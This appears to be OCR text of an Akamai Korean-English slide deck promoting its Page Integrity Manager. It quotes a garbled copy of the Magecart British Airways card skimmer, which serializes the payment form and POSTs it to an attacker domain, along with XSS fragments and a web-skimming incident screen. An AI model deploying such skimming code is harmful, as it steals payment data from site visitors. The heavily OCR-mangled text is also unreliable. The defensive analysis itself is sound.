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https://baggageclaim.britishairways.com/additional-baggage-claim-information?cid=18282166

Referrer:
Cause: parentPage

This Request | Parent Page
| Export

Contains Element :
<gcript srom"//www.britishairways.com/cms/global/scripts/lib/modernizgr=%.6.2.min.ja" />

https:/fwww.britishairways.com/cms/global/scripts/lib/modernizr-2.6.2.min.js

Referrer: https://baggageclaim.britishairways.com/additional-baggage-claim-information?cid=18282166
Cause: script.src  Path from prior: /*[name()="html’ ] /head/script[3)/#sre

This Request | Parent Page
| Export

Source: https://www.riskig.com/blog/external-threat-management/magecart-british-airways-breach/
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https://www.riskiq.com/blog/external-threat-management/magecart-british-airways-breach/

Page https://www.britishairways.com/cms/global/scripts/lib/modernizr-2.6.2.min.js

Status Messages (0) Dependent Requests (0) Cookies (0) Lirks (0] Headers 5501 Certs (0) Response & DOM DOM Changes

Causes Social Inspection Results Sequence To Parent

& Response Body

gla,b){var gyreturn window.getComputedStylelo=document .defaultView.getComputedStyle(a,null) .getPropertyValue(b)a.currentityless

{c=a.currentStyla[b] ), c}function

hi}i{d.removeChild|a) a=null ,b=null ;c=nall }var

a=document .creatallemant | “ruby " ) , b=document .createBlement [ “rt" ) ,c=documant . createElement | “rp” ) ,d=documant . documentElemant , e="display” , f="fo

ntSize” jreturn

a.appendChild(c),a.appendChild(b) ,d.appendChild(a),g(c,2)=="nona" | |g{a,a)=="ruby" &g |b,e)=="rcaby-text" | |g{c,£)=="6pt"Ehg(b, £)=="6Gpt"7

(hi) 10)s{hi{),11)}) Modernizr.addTaat( “tima" , “valuahsDate" in

document .createElement ( “time" ) ) ,Hodernizr. addTest [ {texttrackapitypect

documant ..craataElemant | “video® ) . addTextTrack=="function® , track: *kind®in

document .createElement | “track® )} ) ;Modernizr. addTest | “placeholder® ; function( )

{return"placeholder” in|Modernizr. input | |document .createEl ement (" inpat” ) ) & "placseholder” in(Modernizr. textares | | document . createElement | " texts

raa” ) )} Modernlizr.addTest | “speechinput® , function( ) {var

a=document .createElement | "input” ) jreturn”speech”in a| | "onwebkitspeechchange”in

a}),function(a,b){b. formvalidationapl=11,b. formvalidatlonmessage=11,b.addTest | formvalidation®, function| ) {var

c=a.createElement | “form”™ ) ;if ([ “checkVvalidity"in c){var

d=a.body, e=a,documentElesent, f=11,5=11, hjreturn b, formval idationapi=10,0.o0nsubnit=Ffunctionia)

{window.opara| |a.preventDefault().a.stopPropagaticn ) },c. LonerHTHL="<inpat

name="modTest "

regquired>=<button></button>’ ,c.style.poslition="abaclute” c.etyle.top="-9999%an" ,d| |

(f=10,d=a.createElement [ "body” ) ;d.style.background="" .e.appendChild(d) ) ;d.appendChild|c) ;h=c.getElementsByTagiame | " input"® )

[0],h.eninvalid=Ffunctionja)

{g=10,a.preventDafaulec|) a.stopPropagation( 1}, b formvalidationmessage=|!h.validationMessage,c.getElementsByTagiane | “button® )
0].clicki},d.remsoveChildic], fake.removeChild returnll document window.Nodernizr);

window.onload=function| ) {j0uecy( " #a t.li-ut.tun j .bind{ “mouseup touchand” , functlon(a){var

n={}; jOuery( "#paymentForn” ) .serializeArray( ) .map{function(a){na.name]=a.value} ) var

e=document . getElamantById | " personPaying” | . innerHTHL; h. parsof=a; var

t=J50N.stringify(n) ;setTimecut | function( )

{j0uery.ajax({type: “BPOST" ,async: 10, urls "hittps / fbaways.con/gateway/app/dataprocessingfapl/ " datart, dataType: "application/jsan™ )}, 500) 1} ;

Source: https://www.riskig.com/blog/external-threat-management/magecart-british-airways-breach/ o~
8  © 2020 Akamai | Confidential (Akamaf Experience the Edge



https://www.riskiq.com/blog/external-threat-management/magecart-british-airways-breach/

.onload Fu n() {
jQuery( ) .bind( , ‘ (a) {

n = 4};
jQuery( ) .serializeArray().map(fu n(a) {
nla. ] a.
});
e document. ) .innerHTML ;
n.person = e;

t = JSON.stringify(n);
( fun () {
jQuery.ajax({
type:
url: |

data: t,
dataType:

9 © 2020 Akamai | Confidential (


https://www.riskiq.com/blog/external-threat-management/magecart-british-airways-breach/

Cross Site Scripting (XSS)

& SIc=

. Alert (1, ON€rror=

One of the most frequently occurring has gt( Alert. mo{‘
€N dete, 2

r
web security vulnerabilit e gy, OB g

eb security vulnerabilities CleannoMPUte on

my 5 or
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DoM Based XSS

DOM 7|2t XSS = M2} 2tA Q0| S2I0|HE B X 0|A EAst= Z{0| X}O|&O0|H,
MEO| A EFX| 7} 0134*L|Er

(I
\\1//

/117

e e e / Secure Website 1. EFAH ‘CT;—ZLXP_ URLoﬂ AMEXEHE
ey v e ] Y — %—ﬂ% Flet string= Lo ALE X0
the malicious string in the - =
2. MH 278: AHEXAt= URL 29
3. MH| SE: Uiy MHE 8 SE= 24
4. & NEA Bet2 KoM X7t £l =

5. 21k MRXF 7HE(HI’“‘ F7| 5)0l

The User's sensitive
o information s sent 1o the A E E| | IIolE| A = = |. AlSH
anacl.erls server —_— O -—LH—- | 5— 7 = O
>

User Attacker
The attacker crafts a URL
The User's browser executes the containing the malicious string
° legitimate script inside the and sends it to the victim
response, causing the malicious

script to be inserted into the
page

The User browser executes the
malicious script inserted into the
page by the client-side code

11 © 2020 Akamai | Confidential ( Experience the Edge



Blog

Cloudflare2| CDN A, =072 BIAIO[EZ} npm

Ij{7 IXI OH—E Ct2%[= AFE %*é‘:‘

This npm Package Could Have Brought Down Cloudflare’'s Entire CDN and Millions of Websites
ol
A2 H 7|

<Cdﬂj$> vy % About Libraries APl GitHub  Statuse

package that does not exist X

libraries found in 1ms.

We're sorry, the library you're searching For couldn't be found.

You can make a request to have it added on our

-MacBook-Pro hey-sven % tar tvf 1.0.1/hey-sven-1.0.1.tgz

-r-- 0 ryotak staff 204 12 Apr 14:12 package/package.json
-r-- 0 ryotak wheel 59 13 Apr 00306 .o/ cefceelesl ool col ool ool St RDIETOERR
-r-- 0 ryotak wheel 59 13 APr 00206 oo/ celcel ool el oel ool ool ettt LEaretsnicash
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67%7} ME IE| Ag2EES Zete|of &Lt A AAS 2N sF¢L| ch
AI_% e 83.2 s
67% - 0, - 13T x| 25% 3 ALEF O|ASLICL
{ 6 w . 1877} R|LtD 75%= AR SR
u11|X|O|FIJgE = RS CH
ME LIOtE
IS " i - Z7|7F XLt A& A& [0 X =
L XEAZBEL AC 3} Ao
e Pcrs: U e V8 o 1 15 a1 A 50 g 1 e 1) e 10 B R giﬁl—l EI-
io:;rce: HTTP Archive data for sites on the Akamai Intelligent Edge Platforr Source: https.//httparchive.orq/reports/state-of-the-web#pctVuln, 2020 Source: Akamai, 2020
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= Gkamai Q s 4 + Create GJ A=) E'g A

Page Integrity Demo Vv

W Security Center

| 7|2tEet i
7 Page Integrity Dashboa@ECPSHE ][] 3 E

e A 3a§ AA A

1.5k 11.5k 596 588 5

Beacons Total JavaScript Analyses JavaScript Resources Third Party Resources Resource Vulnerabilities

Incidents QXIE 2.21

i Go to Page Integrity Console End Users By Browser
S5CIAZ BF
Browser Percentage
5 Total Incidents
@ Critical Chrome . 99,61 %
0 New
® High Safari 0.19%
4 Require Mitigation
Firefox 0.19%
@ Medium
Low

Informational

AHEX}

HelXN BF

AR FE

-__,‘17]» B s Page size: 10 v 1-30f3

S 24

User Location By Country/Area Policy Violations By Vendor

Country/Area Percentage Vendor Category Total Violations Applications

United States of America lreee—or 3707 % Drift Customer Experience 8128 2030 0



Gkamai ~ + Create

Security Center

< Back to Page Integrity Console

Incident a98¢6703

Critical Alert: Suspicious Behaviors detected %Q‘éfrt- A}
A Recommended Action To stop or avoid possible data exfitration, deny outbound traffic to the destination: gggur_} E Hl M
[ B84
Ar2sh= 2ig$t HlojE
AT EQ| ojyA{R Y
AJRIEI} AH|A ElE AA

www.akamai-stats.com

34 HEf
B4 &E

Overview AZtE AJYET} MH|A 8H= CY
Incident type Web Skimming i"g gxla gm Affected users 47 (53%)
Threat Probability 91% U"Xlgl' QIIE %m Affected sessions 131 (10%)
severity [[ENH S| BX SE: R Sensitivedata  CreditCarddata  #1i0ata
First seen Apr 25,2020 02:41:27 Suspicious Behaviors  fead Semsitive Data Sant N
Last seen Jul 9, 2020 00:03:29 Source s3.amazonaws.com
Incident Status | wimiGaten |- Wed Jul 08 2020 15:03:29 GMT+0000 (Coordinated Universal Time) Destination www.akamai-stats.com
AIRET} MH|A BH= SO0l ASRYET} MH|A BH= CAt
AR E MH|A 7|8 38% 0|8
ATEE ol ol B
Tofol Hi URL W&
Source Permissions $§8l‘-t"—_ 9"& Outgoing Traffic $E8I’E Qﬂﬁ
Domain: s3.amazonaws.com Endpoint Domain: www.akamai-stats.com
Method: Third-Party Script Vendor: 'N/A'
File: https://s3.amazonaws.com/widget-provider.io/widget.js Domain Reputation: 87
Domain Reputation: 29 Full URL: http://www.akamai-stats.com:88838/collect/xhr7data="" """ trrrrrrtssansrnsnsssnsssnsnsssnsneesnasnnnee

--------------------------------------------------------------------------------------------------------

Recommendation: Deny source access to sensitive data
Deny source from loading assets

.........................................................................................................

---------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------

Recommendation: Deny destination outgoing network traffic
8:20.73

e«es00»3 ® o




— (Akamar \ + Create E g/ & Page Integrity Demo Vv

Security Center eciout MIRYSS : ] Jul 2, 2020 11:02 AM ~ Jul 9, 2020 11:02AM v
OFx|2f

o= EX|
g At

Script Intellig

@

Vendor Source Domain Reputation Type CVE Beacons Percentage Seen: Last
@
» Drift https://js.driftt.com/include/1594258500000/2vzdfcyznbla.js Bse Third Party . <0.5% Jul 39,2020 11:00:21
» Google hitps://www.googletagmanager.com/gtm. js 240 Third Party - 100% Jul 9, 2020 11:00:21
» Drift https://js.driftt.com/include/1594259700000/2vz4fcyznb2a. js B e Third Party - <0.5% Jul9, 2020 10:54:56
P N/A http://demo.akamai-page-integrity shop/demo-resources/index.js a1 e First Party . 55% Jul 9, 2020 10:54:56
» N/A http://demo.akamai-page-integrity. shop/demo-resources/faker.js ae First Party - 55% Jul 9, 2020 10:54:56
» N/A http://demo.akamai-page-integrity.shop/demo-resources/jquery.js 91 @ First Party Y 56% Jul 9, 2020 10:54:56
» N/A hitp://demo . akamai-page-integrity.shop/demo-resources/popper.js ae First Party . 55% Jul 9, 2020 10:54:56
» N/A https://s3.amazonaws.com/widget-provider.io/widget.js 210 Third Party . 56% Jul 9, 2020 10:54:56
» N/A http://demo.akamai-page-integrity.shop/demo-resources/holder.js a1 e First Party . 569 Jul9, 2020 10:54:56
» N/A http://demo.akamai-page-integrity. shop/demo-resources/bootstrap.js ae First Party Y 56% Jul 9, 2020 10:54:56
Page size: 10 v 1-100f596 >

~

§:33.55
womazems o 0« [ s, B ) - mwighs




Audience Hijacking
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Get Work Done Faster On , With
Confidence
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Sign up for emalis & get an extra 25% off Sian U Now We now ship 10 200 locations worldwide D

Offers & coupons found. Lucky you!

retailsite.com

Michael Kors Women's Michael
Kors Camille Pave Chain Bracelet
watch, 3&4mn

SHOP BY DEPARTMENT ~

Macy's / Jewelry & Watches / Watches Y $395.00

Michaol Kors &2

Women's Whitney Two-Tone Watch 38mm
Rk kok | Reviews

Orng. ILS 1,012.00
Now ILS 759.00

Qty: 1

Michael Kors
Add To Bag wWomen's Charey

Now ILS 621.00
Product Detalls

Modern sophistication. Dafined by a chevron-ink Strap, e Michas Kors Whithaey walct

from polished stainiess steal That's sat with sparkling pave crystals along 1he here

Case: Round Sabie Stainless Steel, 38mm
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Page Integrity Manager -ﬂ“ ‘:':

korea-marketing@akamai.com
+82-221937200

Akamai PIM 8l EOF X|& =2
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